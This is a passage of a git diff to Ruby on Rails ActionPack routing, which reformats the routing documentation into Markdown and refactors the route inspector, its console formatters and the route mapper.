-  #     Pattern 2 tell them to go to another
-  #     ...
-  #   end
+  #     Rails.application.routes.draw do
+  #       Pattern 1 tells some request to go to one place
+  #       Pattern 2 tell them to go to another
+  #       ...
+  #     end
   #
   # The following symbols are special:
   #
-  #   :controller maps to your controller name
-  #   :action     maps to an action with your controllers
+  #     :controller maps to your controller name
+  #     :action     maps to an action with your controllers
   #
-  # Other names simply map to a parameter as in the case of <tt>:id</tt>.
+  # Other names simply map to a parameter as in the case of `:id`.
   #
-  # == Resources
+  # ## Resources
   #
-  # Resource routing allows you to quickly declare all of the common routes
-  # for a given resourceful controller. Instead of declaring separate routes
-  # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
-  # actions, a resourceful route declares them in a single line of code:
+  # Resource routing allows you to quickly declare all of the common routes for a
+  # given resourceful controller. Instead of declaring separate routes for your
+  # `index`, `show`, `new`, `edit`, `create`, `update`, and `destroy` actions, a
+  # resourceful route declares them in a single line of code:
   #
-  #  resources :photos
+  #     resources :photos
   #
-  # Sometimes, you have a resource that clients always look up without
-  # referencing an ID. A common example, /profile always shows the profile of
-  # the currently logged in user. In this case, you can use a singular resource
-  # to map /profile (rather than /profile/:id) to the show action.
+  # Sometimes, you have a resource that clients always look up without referencing
+  # an ID. A common example, /profile always shows the profile of the currently
+  # logged in user. In this case, you can use a singular resource to map /profile
+  # (rather than /profile/:id) to the show action.
   #
-  #  resource :profile
+  #     resource :profile
   #
-  # It's common to have resources that are logically children of other
-  # resources:
+  # It's common to have resources that are logically children of other resources:
   #
-  #   resources :magazines do
-  #     resources :ads
-  #   end
+  #     resources :magazines do
+  #       resources :ads
+  #     end
   #
   # You may wish to organize groups of controllers under a namespace. Most
-  # commonly, you might group a number of administrative controllers under
-  # an +admin+ namespace. You would place these controllers under the
-  # <tt>app/controllers/admin</tt> directory, and you can group them together
-  # in your router:
+  # commonly, you might group a number of administrative controllers under an
+  # `admin` namespace. You would place these controllers under the
+  # `app/controllers/admin` directory, and you can group them together in your
+  # router:
   #
-  #   namespace "admin" do
-  #     resources :posts, :comments
-  #   end
+  #     namespace "admin" do
+  #       resources :posts, :comments
+  #     end
   #
   # Alternatively, you can add prefixes to your path without using a separate
-  # directory by using +scope+. +scope+ takes additional options which
-  # apply to all enclosed routes.
+  # directory by using `scope`. `scope` takes additional options which apply to
+  # all enclosed routes.
   #
-  #   scope path: "/cpanel", as: 'admin' do
-  #     resources :posts, :comments
-  #   end
+  #     scope path: "/cpanel", as: 'admin' do
+  #       resources :posts, :comments
+  #     end
   #
-  # For more, see <tt>Routing::Mapper::Resources#resources</tt>,
-  # <tt>Routing::Mapper::Scoping#namespace</tt>, and
-  # <tt>Routing::Mapper::Scoping#scope</tt>.
+  # For more, see Routing::Mapper::Resources#resources,
+  # Routing::Mapper::Scoping#namespace, and Routing::Mapper::Scoping#scope.
   #
-  # == Non-resourceful routes
+  # ## Non-resourceful routes
   #
-  # For routes that don't fit the <tt>resources</tt> mold, you can use the HTTP helper
-  # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
+  # For routes that don't fit the `resources` mold, you can use the HTTP helper
+  # methods `get`, `post`, `patch`, `put` and `delete`.
   #
-  #   get 'post/:id' => 'posts#show'
-  #   post 'post/:id' => 'posts#create_comment'
+  #     get 'post/:id', to: 'posts#show'
+  #     post 'post/:id', to: 'posts#create_comment'
   #
-  # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
-  # URL will route to the <tt>show</tt> action.
+  # Now, if you POST to `/posts/:id`, it will route to the `create_comment`
+  # action. A GET on the same URL will route to the `show` action.
   #
-  # If your route needs to respond to more than one HTTP method (or all methods) then using the
-  # <tt>:via</tt> option on <tt>match</tt> is preferable.
+  # If your route needs to respond to more than one HTTP method (or all methods)
+  # then using the `:via` option on `match` is preferable.
   #
-  #   match 'post/:id' => 'posts#show', via: [:get, :post]
+  #     match 'post/:id', to: 'posts#show', via: [:get, :post]
   #
-  # == Named routes
+  # ## Named routes
   #
-  # Routes can be named by passing an <tt>:as</tt> option,
-  # allowing for easy reference within your source as +name_of_route_url+
-  # for the full URL and +name_of_route_path+ for the URI path.
+  # Routes can be named by passing an `:as` option, allowing for easy reference
+  # within your source as `name_of_route_url` for the full URL and
+  # `name_of_route_path` for the URI path.
   #
   # Example:
   #
-  #   # In config/routes.rb
-  #   get '/login' => 'accounts#login', as: 'login'
+  #     # In config/routes.rb
+  #     get '/login', to: 'accounts#login', as: 'login'
   #
-  #   # With render, redirect_to, tests, etc.
-  #   redirect_to login_url
+  #     # With render, redirect_to, tests, etc.
+  #     redirect_to login_url
   #
   # Arguments can be passed as well.
   #
-  #   redirect_to show_item_path(id: 25)
+  #     redirect_to show_item_path(id: 25)
   #
-  # Use <tt>root</tt> as a shorthand to name a route for the root path "/".
+  # Use `root` as a shorthand to name a route for the root path "/".
   #
-  #   # In config/routes.rb
-  #   root to: 'blogs#index'
+  #     # In config/routes.rb
+  #     root to: 'blogs#index'
   #
-  #   # would recognize http://www.example.com/ as
-  #   params = { controller: 'blogs', action: 'index' }
+  #     # would recognize http://www.example.com/ as
+  #     params = { controller: 'blogs', action: 'index' }
   #
-  #   # and provide these named routes
-  #   root_url   # => 'http://www.example.com/'
-  #   root_path  # => '/'
+  #     # and provide these named routes
+  #     root_url   # => 'http://www.example.com/'
+  #     root_path  # => '/'
   #
-  # Note: when using +controller+, the route is simply named after the
-  # method you call on the block parameter rather than map.
+  # Note: when using `controller`, the route is simply named after the method you
+  # call on the block parameter rather than map.
   #
-  #   # In config/routes.rb
-  #   controller :blog do
-  #     get 'blog/show'     => :list
-  #     get 'blog/delete'   => :delete
-  #     get 'blog/edit' => :edit
-  #   end
+  #     # In config/routes.rb
+  #     controller :blog do
+  #       get 'blog/show'    => :list
+  #       get 'blog/delete'  => :delete
+  #       get 'blog/edit'    => :edit
+  #     end
   #
-  #   # provides named routes for show, delete, and edit
-  #   link_to @article.title, blog_show_path(id: @article.id)
+  #     # provides named routes for show, delete, and edit
+  #     link_to @article.title, blog_show_path(id: @article.id)
   #
-  # == Pretty URLs
+  # ## Pretty URLs
   #
   # Routes can generate pretty URLs. For example:
   #
-  #   get '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
-  #     year:       /\d{4}/,
-  #     month:      /\d{1,2}/,
-  #     day:        /\d{1,2}/
-  #   }
+  #     get '/articles/:year/:month/:day', to: 'articles#find_by_id', constraints: {
+  #       year:       /\d{4}/,
+  #       month:      /\d{1,2}/,
+  #       day:        /\d{1,2}/
+  #     }
   #
   # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
   # maps to
   #
-  #   params = {year: '2005', month: '11', day: '06'}
+  #     params = {year: '2005', month: '11', day: '06'}
   #
-  # == Regular Expressions and parameters
+  # ## Regular Expressions and parameters
   # You can specify a regular expression to define a format for a parameter.
   #
-  #   controller 'geocode' do
-  #     get 'geocode/:postalcode' => :show, constraints: {
-  #       postalcode: /\d{5}(-\d{4})?/
-  #     }
-  #   end
+  #     controller 'geocode' do
+  #       get 'geocode/:postalcode', to: :show, constraints: {
+  #         postalcode: /\d{5}(-\d{4})?/
+  #       }
+  #     end
   #
   # Constraints can include the 'ignorecase' and 'extended syntax' regular
   # expression modifiers:
   #
-  #   controller 'geocode' do
-  #     get 'geocode/:postalcode' => :show, constraints: {
-  #       postalcode: /hx\d\d\s\d[a-z]{2}/i
-  #     }
-  #   end
-  #
-  #   controller 'geocode' do
-  #     get 'geocode/:postalcode' => :show, constraints: {
-  #       postalcode: /# Postalcode format
-  #          \d{5} #Prefix
-  #          (-\d{4})? #Suffix
-  #          /x
-  #     }
-  #   end
+  #     controller 'geocode' do
+  #       get 'geocode/:postalcode', to: :show, constraints: {
+  #         postalcode: /hx\d\d\s\d[a-z]{2}/i
+  #       }
+  #     end
   #
-  # Using the multiline modifier will raise an +ArgumentError+.
-  # Encoding regular expression modifiers are silently ignored. The
-  # match will always use the default encoding or ASCII.
+  #     controller 'geocode' do
+  #       get 'geocode/:postalcode', to: :show, constraints: {
+  #         postalcode: /# Postalcode format
+  #            \d{5} #Prefix
+  #            (-\d{4})? #Suffix
+  #            /x
+  #       }
+  #     end
   #
-  # == External redirects
+  # Using the multiline modifier will raise an `ArgumentError`. Encoding regular
+  # expression modifiers are silently ignored. The match will always use the
+  # default encoding or ASCII.
   #
-  # You can redirect any path to another path using the redirect helper in your router:
+  # ## External redirects
   #
-  #   get "/stories" => redirect("/posts")
+  # You can redirect any path to another path using the redirect helper in your
+  # router:
   #
-  # == Unicode character routes
+  #     get "/stories", to: redirect("/posts")
+  #
+  # ## Unicode character routes
   #
   # You can specify unicode character routes in your router:
   #
-  #   get "�ん���" => "welcome#index"
+  #     get "�ん���", to: "welcome#index"
   #
-  # == Routing to Rack Applications
+  # ## Routing to Rack Applications
   #
-  # Instead of a String, like <tt>posts#index</tt>, which corresponds to the
-  # index action in the PostsController, you can specify any Rack application
-  # as the endpoint for a matcher:
+  # Instead of a String, like `posts#index`, which corresponds to the index action
+  # in the PostsController, you can specify any Rack application as the endpoint
+  # for a matcher:
   #
-  #   get "/application.js" => Sprockets
+  #     get "/application.js", to: Sprockets
   #
-  # == Reloading routes
+  # ## Reloading routes
   #
   # You can reload routes if you feel you must:
   #
-  #   Rails.application.reload_routes!
+  #     Rails.application.reload_routes!
   #
-  # This will clear all named routes and reload config/routes.rb if the file has been modified from
-  # last load. To absolutely force reloading, use <tt>reload!</tt>.
+  # This will clear all named routes and reload config/routes.rb if the file has
+  # been modified from last load. To absolutely force reloading, use `reload!`.
   #
-  # == Testing Routes
+  # ## Testing Routes
   #
   # The two main methods for testing your routes:
   #
-  # === +assert_routing+
-  #
-  #   def test_movie_route_properly_splits
-  #    opts = {controller: "plugin", action: "checkout", id: "2"}
-  #    assert_routing "plugin/checkout/2", opts
-  #   end
+  # ### `assert_routing`
   #
-  # +assert_routing+ lets you test whether or not the route properly resolves into options.
+  #     def test_movie_route_properly_splits
+  #       opts = {controller: "plugin", action: "checkout", id: "2"}
+  #       assert_routing "plugin/checkout/2", opts
+  #     end
   #
-  # === +assert_recognizes+
+  # `assert_routing` lets you test whether or not the route properly resolves into
+  # options.
   #
-  #   def test_route_has_options
-  #    opts = {controller: "plugin", action: "show", id: "12"}
-  #    assert_recognizes opts, "/plugins/show/12"
-  #   end
+  # ### `assert_recognizes`
   #
-  # Note the subtle difference between the two: +assert_routing+ tests that
-  # a URL fits options while +assert_recognizes+ tests that a URL
-  # breaks into parameters properly.
+  #     def test_route_has_options
+  #       opts = {controller: "plugin", action: "show", id: "12"}
+  #       assert_recognizes opts, "/plugins/show/12"
+  #     end
   #
-  # In tests you can simply pass the URL or named route to +get+ or +post+.
+  # Note the subtle difference between the two: `assert_routing` tests that a URL
+  # fits options while `assert_recognizes` tests that a URL breaks into parameters
+  # properly.
   #
-  #   def send_to_jail
-  #     get '/jail'
-  #     assert_response :success
-  #   end
+  # In tests you can simply pass the URL or named route to `get` or `post`.
   #
-  #   def goes_to_login
-  #     get login_url
-  #     #...
-  #   end
+  #     def send_to_jail
+  #       get '/jail'
+  #       assert_response :success
+  #     end
   #
-  # == View a list of all your routes
+  #     def goes_to_login
+  #       get login_url
+  #       #...
+  #     end
   #
-  #   rails routes
+  # ## View a list of all your routes
   #
-  # Target specific controllers by prefixing the command with <tt>-c</tt> option.
+  #     $ bin/rails routes
   #
+  # Target a specific controller with `-c`, or grep routes using `-g`. Useful in
+  # conjunction with `--expanded` which displays routes vertically.
   module Routing
     extend ActiveSupport::Autoload
 
     autoload :Mapper
     autoload :RouteSet
-    autoload :RoutesProxy
+    eager_autoload do
+      autoload :RoutesProxy
+    end
     autoload :UrlFor
     autoload :PolymorphicRoutes
 
-    SEPARATORS = %w( / . ? ) #:nodoc:
-    HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
-
-    #:stopdoc:
-    INSECURE_URL_PARAMETERS_MESSAGE = <<-MSG.squish
-      Attempting to generate a URL from non-sanitized request parameters!
-
-      An attacker can inject malicious data into the generated URL, such as
-      changing the host. Whitelist and sanitize passed parameters to be secure.
-    MSG
-    #:startdoc:
+    SEPARATORS = %w( / . ? ) # :nodoc:
+    HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] # :nodoc:
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/endpoint.rb b/actionpack/lib/action_dispatch/routing/endpoint.rb
index 88aa13c3e8a44..0202e66a8ac33 100644
--- a/actionpack/lib/action_dispatch/routing/endpoint.rb
+++ b/actionpack/lib/action_dispatch/routing/endpoint.rb
@@ -1,10 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Routing
     class Endpoint # :nodoc:
       def dispatcher?;   false; end
       def redirect?;     false; end
-      def matches?(req); true;  end
-      def app;           self;  end
+      def matches?(req);  true; end
+      def app;            self; end
+      def rack_app;        app; end
+
+      def engine?
+        rack_app.is_a?(Class) && rack_app < Rails::Engine
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index b91ffb8419dc5..7348cc9ea0a39 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -1,11 +1,28 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "delegate"
-require "active_support/core_ext/string/strip"
+require "io/console/size"
 
 module ActionDispatch
   module Routing
-    class RouteWrapper < SimpleDelegator
+    class RouteWrapper < SimpleDelegator # :nodoc:
+      def matches_filter?(filter, value)
+        return __getobj__.path.match(value) if filter == :exact_path_match
+
+        value.match?(public_send(filter))
+      end
+
       def endpoint
-        app.dispatcher? ? "#{controller}##{action}" : rack_app.inspect
+        case
+        when app.dispatcher?
+          "#{controller}##{action}"
+        when rack_app.is_a?(Proc)
+          "Inline handler (Proc/Lambda)"
+        else
+          rack_app.inspect
+        end
       end
 
       def constraints
@@ -13,7 +30,7 @@ def constraints
       end
 
       def rack_app
-        app.app
+        app.rack_app
       end
 
       def path
@@ -44,142 +61,273 @@ def internal?
         internal
       end
 
+      def action_source_location
+        file, line = action_source_file_and_line
+        return unless file
+
+        "#{file}:#{line}"
+      end
+
+      def action_source_file_and_line
+        return unless app.dispatcher?
+        return unless controller && action
+
+        controller_name = controller.to_s
+        action_name = action.to_s
+        return if controller_name.start_with?(":") || action_name.start_with?(":")
+
+        begin
+          controller_class = "#{controller_name.camelize}Controller".constantize
+          method = controller_class.instance_method(action_name.to_sym)
+          method.source_location
+        rescue NameError, TypeError
+          nil
+        end
+      end
+
       def engine?
-        rack_app.respond_to?(:routes)
+        app.engine?
+      end
+
+      def to_h
+        file, line = action_source_file_and_line
+        { name: name,
+          verb: verb,
+          path: path,
+          reqs: reqs,
+          source_location: source_location,
+          action_source_location: action_source_location,
+          action_source_file: file,
+          action_source_line: line }
       end
     end
 
     ##
     # This class is just used for displaying route information when someone
-    # executes `rails routes` or looks at the RoutingError page.
-    # People should not use this class.
+    # executes `bin/rails routes` or looks at the RoutingError page. People should
+    # not use this class.
     class RoutesInspector # :nodoc:
       def initialize(routes)
-        @engines = {}
-        @routes = routes
+        @routes = wrap_routes(routes)
+        @engines = load_engines_routes
       end
 
-      def format(formatter, filter = nil)
-        routes_to_display = filter_routes(normalize_filter(filter))
-        routes = collect_routes(routes_to_display)
-        if routes.none?
-          formatter.no_routes(collect_routes(@routes))
-          return formatter.result
-        end
-
-        formatter.header routes
-        formatter.section routes
+      def format(formatter, filter = {})
+        all_routes = { nil => @routes }.merge(@engines)
 
-        @engines.each do |name, engine_routes|
-          formatter.section_title "Routes for #{name}"
-          formatter.section engine_routes
+        all_routes.each do |engine_name, routes|
+          format_routes(formatter, filter, engine_name, routes)
         end
 
         formatter.result
       end
 
       private
+        def format_routes(formatter, filter, engine_name, routes)
+          routes = filter_routes(routes, normalize_filter(filter)).map(&:to_h)
+
+          formatter.section_title "Routes for #{engine_name || "application"}" if @engines.any?
+          if routes.any?
+            formatter.header routes
+            formatter.section routes
+          else
+            formatter.no_routes engine_name, routes, filter
+          end
+          formatter.footer routes
+        end
+
+        def wrap_routes(routes)
+          routes.routes.map { |route| RouteWrapper.new(route) }.reject(&:internal?)
+        end
+
+        def load_engines_routes
+          engine_routes = @routes.select(&:engine?)
+
+          engines = engine_routes.to_h do |engine_route|
+            engine_app_routes = engine_route.rack_app.routes
+            engine_app_routes = engine_app_routes.routes if engine_app_routes.is_a?(ActionDispatch::Routing::RouteSet)
+
+            [engine_route.endpoint, wrap_routes(engine_app_routes)]
+          end
+
+          engines
+        end
 
         def normalize_filter(filter)
-          if filter.is_a?(Hash) && filter[:controller]
-            { controller: /#{filter[:controller].downcase.sub(/_?controller\z/, '').sub('::', '/')}/ }
-          elsif filter
-            { controller: /#{filter}/, action: /#{filter}/, verb: /#{filter}/, name: /#{filter}/, path: /#{filter}/ }
+          if filter[:controller]
+            { controller: /#{filter[:controller].underscore.sub(/_?controller\z/, "")}/ }
+          elsif filter[:grep]
+            grep_pattern = Regexp.new(filter[:grep])
+            path = URI::RFC2396_PARSER.escape(filter[:grep])
+            normalized_path = ("/" + path).squeeze("/")
+
+            {
+              controller: grep_pattern,
+              action: grep_pattern,
+              verb: grep_pattern,
+              name: grep_pattern,
+              path: grep_pattern,
+              exact_path_match: normalized_path,
+            }
           end
         end
 
-        def filter_routes(filter)
+        def filter_routes(routes, filter)
           if filter
-            @routes.select do |route|
-              route_wrapper = RouteWrapper.new(route)
-              filter.any? { |default, value| route_wrapper.send(default) =~ value }
+            routes.select do |route|
+              filter.any? { |filter_type, value| route.matches_filter?(filter_type, value) }
             end
           else
-            @routes
+            routes
           end
         end
+    end
 
-        def collect_routes(routes)
-          routes.collect do |route|
-            RouteWrapper.new(route)
-          end.reject(&:internal?).collect do |route|
-            collect_engine_routes(route)
+    module ConsoleFormatter
+      class Base
+        def initialize
+          @buffer = []
+        end
 
-            { name: route.name,
-              verb: route.verb,
-              path: route.path,
-              reqs: route.reqs }
-          end
+        def result
+          @buffer.join("\n")
         end
 
-        def collect_engine_routes(route)
-          name = route.endpoint
-          return unless route.engine?
-          return if @engines[name]
+        def section_title(title)
+        end
 
-          routes = route.rack_app.routes
-          if routes.is_a?(ActionDispatch::Routing::RouteSet)
-            @engines[name] = collect_routes(routes.routes)
-          end
+        def section(routes)
         end
-    end
 
-    class ConsoleFormatter
-      def initialize
-        @buffer = []
-      end
+        def header(routes)
+        end
 
-      def result
-        @buffer.join("\n")
-      end
+        def footer(routes)
+        end
 
-      def section_title(title)
-        @buffer << "\n#{title}:"
-      end
+        def no_routes(engine, routes, filter)
+          @buffer <<
+            if filter.key?(:controller)
+              "No routes were found for this controller."
+            elsif filter.key?(:grep)
+              "No routes were found for this grep pattern."
+            elsif routes.none?
+              if engine
+                "No routes defined."
+              else
+                <<~MESSAGE
+                  You don't have any routes defined!
+
+                  Please add some routes in config/routes.rb.
+                MESSAGE
+              end
+            end
 
-      def section(routes)
-        @buffer << draw_section(routes)
+          unless engine
+            @buffer << "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
+          end
+        end
       end
 
-      def header(routes)
-        @buffer << draw_header(routes)
-      end
+      class Sheet < Base
+        def section_title(title)
+          @buffer << "#{title}:"
+        end
 
-      def no_routes(routes)
-        @buffer <<
-        if routes.none?
-          <<-MESSAGE.strip_heredoc
-          You don't have any routes defined!
+        def section(routes)
+          @buffer << draw_section(routes)
+        end
 
-          Please add some routes in config/routes.rb.
-          MESSAGE
-        else
-          "No routes were found for this controller"
+        def header(routes)
+          @buffer << draw_header(routes)
         end
-        @buffer << "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
-      end
 
-      private
-        def draw_section(routes)
-          header_lengths = ["Prefix", "Verb", "URI Pattern"].map(&:length)
-          name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
+        def footer(routes)
+          @buffer << ""
+        end
+
+        private
+          def draw_section(routes)
+            header_lengths = ["Prefix", "Verb", "URI Pattern"].map(&:length)
+            name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
+
+            routes.map do |r|
+              "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+            end
+          end
+
+          def draw_header(routes)
+            name_width, verb_width, path_width = widths(routes)
 
-          routes.map do |r|
-            "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+            "#{"Prefix".rjust(name_width)} #{"Verb".ljust(verb_width)} #{"URI Pattern".ljust(path_width)} Controller#Action"
           end
+
+          def widths(routes)
+            [routes.map { |r| r[:name].length }.max || 0,
+             routes.map { |r| r[:verb].length }.max || 0,
+             routes.map { |r| r[:path].length }.max || 0]
+          end
+      end
+
+      class Expanded < Base
+        def initialize(width: IO.console_size[1])
+          @width = width
+          super()
+        end
+
+        def section_title(title)
+          @buffer << "#{"[ #{title} ]"}"
+        end
+
+        def section(routes)
+          @buffer << draw_expanded_section(routes)
+        end
+
+        def footer(routes)
+          @buffer << ""
         end
 
-        def draw_header(routes)
-          name_width, verb_width, path_width = widths(routes)
+        private
+          def draw_expanded_section(routes)
+            routes.map.each_with_index do |r, i|
+              route_rows = <<~MESSAGE.chomp
+                #{route_header(index: i + 1)}
+                Prefix            | #{r[:name]}
+                Verb              | #{r[:verb]}
+                URI               | #{r[:path]}
+                Controller#Action | #{r[:reqs]}
+              MESSAGE
+              route_rows += "\nSource Location   | #{r[:source_location]}" if r[:source_location].present?
+              route_rows += "\nAction Location   | #{r[:action_source_location]}" if r[:action_source_location].present?
+              route_rows
+            end
+          end
+
+          def route_header(index:)
+            "--[ Route #{index} ]".ljust(@width, "-")
+          end
+      end
 
-          "#{"Prefix".rjust(name_width)} #{"Verb".ljust(verb_width)} #{"URI Pattern".ljust(path_width)} Controller#Action"
+      class Unused < Sheet
+        def header(routes)
+          @buffer << <<~MSG
+            Found #{routes.count} unused #{"route".pluralize(routes.count)}:
+          MSG
+
+          super
         end
 
-        def widths(routes)
-          [routes.map { |r| r[:name].length }.max || 0,
-           routes.map { |r| r[:verb].length }.max || 0,
-           routes.map { |r| r[:path].length }.max || 0]
+        def no_routes(engine, routes, filter)
+          @buffer <<
+            if filter.none?
+              "No unused routes found."
+            elsif filter.key?(:controller)
+              "No unused routes found for this controller."
+            elsif filter.key?(:grep)
+              "No unused routes found for this grep pattern."
+            end
         end
+      end
     end
 
     class HtmlTableFormatter
@@ -189,28 +337,31 @@ def initialize(view)
       end
 
       def section_title(title)
-        @buffer << %(<tr><th colspan="4">#{title}</th></tr>)
+        @buffer << %(<tr><th colspan="5">#{title}</th></tr>)
       end
 
       def section(routes)
         @buffer << @view.render(partial: "routes/route", collection: routes)
       end
 
-      # the header is part of the HTML page, so we don't construct it here.
+      # The header is part of the HTML page, so we don't construct it here.
       def header(routes)
       end
 
+      def footer(routes)
+      end
+
       def no_routes(*)
-        @buffer << <<-MESSAGE.strip_heredoc
+        @buffer << <<~MESSAGE
           <p>You don't have any routes defined!</p>
           <ul>
             <li>Please add some routes in <tt>config/routes.rb</tt>.</li>
             <li>
               For more information about routes, please see the Rails guide
-              <a href="http://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
+              <a href="https://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
             </li>
           </ul>
-          MESSAGE
+        MESSAGE
       end
 
       def result
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 8d9f70e3c6ffd..9b96de1b1a9b4 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/slice"
 require "active_support/core_ext/enumerable"
 require "active_support/core_ext/array/extract_options"
@@ -8,19 +12,31 @@
 module ActionDispatch
   module Routing
     class Mapper
+      class BacktraceCleaner < ActiveSupport::BacktraceCleaner # :nodoc:
+        def initialize
+          super
+          remove_silencers!
+          add_core_silencer
+          add_stdlib_silencer
+        end
+      end
+
       URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port]
 
-      class Constraints < Routing::Endpoint #:nodoc:
+      cattr_accessor :route_source_locations, instance_accessor: false, default: false
+      cattr_accessor :backtrace_cleaner, instance_accessor: false, default: BacktraceCleaner.new
+
+      class Constraints < Routing::Endpoint # :nodoc:
         attr_reader :app, :constraints
 
         SERVE = ->(app, req) { app.serve req }
         CALL  = ->(app, req) { app.call req.env }
 
         def initialize(app, constraints, strategy)
-          # Unwrap Constraints objects.  I don't actually think it's possible
-          # to pass a Constraints object to this constructor, but there were
-          # multiple places that kept testing children of this object.  I
-          # *think* they were just being defensive, but I have no idea.
+          # Unwrap Constraints objects. I don't actually think it's possible to pass a
+          # Constraints object to this constructor, but there were multiple places that
+          # kept testing children of this object. I **think** they were just being
+          # defensive, but I have no idea.
           if app.is_a?(self.class)
             constraints += app.constraints
             app = app.app
@@ -41,31 +57,48 @@ def matches?(req)
         end
 
         def serve(req)
-          return [ 404, { "X-Cascade" => "pass" }, [] ] unless matches?(req)
+          return [ 404, { Constants::X_CASCADE => "pass" }, [] ] unless matches?(req)
 
           @strategy.call @app, req
         end
 
         private
           def constraint_args(constraint, request)
-            constraint.arity == 1 ? [request] : [request.path_parameters, request]
+            arity = if constraint.respond_to?(:arity)
+              constraint.arity
+            else
+              constraint.method(:call).arity
+            end
+
+            if arity < 1
+              []
+            elsif arity == 1
+              [request]
+            else
+              [request.path_parameters, request]
+            end
           end
       end
 
-      class Mapping #:nodoc:
+      class Mapping # :nodoc:
         ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
+        OPTIONAL_FORMAT_REGEX = %r{(?:\(\.:format\)+|\.:format|/)\Z}
+
+        attr_reader :path, :requirements, :defaults, :to, :default_controller,
+                    :default_action, :required_defaults, :ast, :scope_options
+
+        def self.build(scope, set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, internal, options)
+          scope_params = {
+            blocks: scope[:blocks] || [],
+            constraints: scope[:constraints] || {},
+            defaults: (scope[:defaults] || {}).dup,
+            module: scope[:module],
+            options: scope[:options] || {}
+          }
 
-        attr_reader :requirements, :defaults
-        attr_reader :to, :default_controller, :default_action
-        attr_reader :required_defaults, :ast
-
-        def self.build(scope, set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options)
-          options = scope[:options].merge(options) if scope[:options]
-
-          defaults = (scope[:defaults] || {}).dup
-          scope_constraints = scope[:constraints] || {}
-
-          new set, ast, defaults, controller, default_action, scope[:module], to, formatted, scope_constraints, scope[:blocks] || [], via, options_constraints, anchor, options
+          new set: set, ast: ast, controller: controller, default_action: default_action,
+              to: to, formatted: formatted, via: via, options_constraints: options_constraints,
+              anchor: anchor, scope_params: scope_params, internal: internal, options: scope_params[:options].merge(options)
         end
 
         def self.check_via(via)
@@ -93,43 +126,41 @@ def self.normalize_path(path, format)
         end
 
         def self.optional_format?(path, format)
-          format != false && !path.include?(":format") && !path.end_with?("/")
+          format != false && !path.match?(OPTIONAL_FORMAT_REGEX)
         end
 
-        def initialize(set, ast, defaults, controller, default_action, modyoule, to, formatted, scope_constraints, blocks, via, options_constraints, anchor, options)
-          @defaults = defaults
-          @set = set
-
-          @to                 = to
-          @default_controller = controller
-          @default_action     = default_action
-          @ast                = ast
+        def initialize(set:, ast:, controller:, default_action:, to:, formatted:, via:, options_constraints:, anchor:, scope_params:, internal:, options:)
+          @defaults           = scope_params[:defaults]
+          @set                = set
+          @to                 = intern(to)
+          @default_controller = intern(controller)
+          @default_action     = intern(default_action)
           @anchor             = anchor
           @via                = via
-          @internal           = options.delete(:internal)
-
-          path_params = ast.find_all(&:symbol?).map(&:to_sym)
+          @internal           = internal
+          @scope_options      = scope_params[:options]
+          ast                 = Journey::Ast.new(ast, formatted)
 
-          options = add_wildcard_options(options, formatted, ast)
+          options = ast.wildcard_options.merge!(options)
 
-          options = normalize_options!(options, path_params, modyoule)
+          options = normalize_options!(options, ast.path_params, scope_params[:module])
 
-          split_options = constraints(options, path_params)
+          split_options = constraints(options, ast.path_params)
 
-          constraints = scope_constraints.merge Hash[split_options[:constraints] || []]
+          constraints = scope_params[:constraints].merge Hash[split_options[:constraints] || []]
 
           if options_constraints.is_a?(Hash)
             @defaults = Hash[options_constraints.find_all { |key, default|
               URL_OPTIONS.include?(key) && (String === default || Integer === default)
             }].merge @defaults
-            @blocks = blocks
+            @blocks = scope_params[:blocks]
             constraints.merge! options_constraints
           else
             @blocks = blocks(options_constraints)
           end
 
-          requirements, conditions = split_constraints path_params, constraints
-          verify_regexp_requirements requirements.map(&:last).grep(Regexp)
+          requirements, conditions = split_constraints ast.path_params, constraints
+          verify_regexp_requirements requirements, ast.wildcard_options
 
           formats = normalize_format(formatted)
 
@@ -137,35 +168,29 @@ def initialize(set, ast, defaults, controller, default_action, modyoule, to, for
           @conditions = Hash[conditions]
           @defaults = formats[:defaults].merge(@defaults).merge(normalize_defaults(options))
 
-          if path_params.include?(:action) && !@requirements.key?(:action)
+          if ast.path_params.include?(:action) && !@requirements.key?(:action)
             @defaults[:action] ||= "index"
           end
 
           @required_defaults = (split_options[:required_defaults] || []).map(&:first)
+
+          ast.requirements = @requirements
+          @path = Journey::Path::Pattern.new(ast, @requirements, JOINED_SEPARATORS, @anchor)
         end
 
+        JOINED_SEPARATORS = SEPARATORS.join # :nodoc:
+
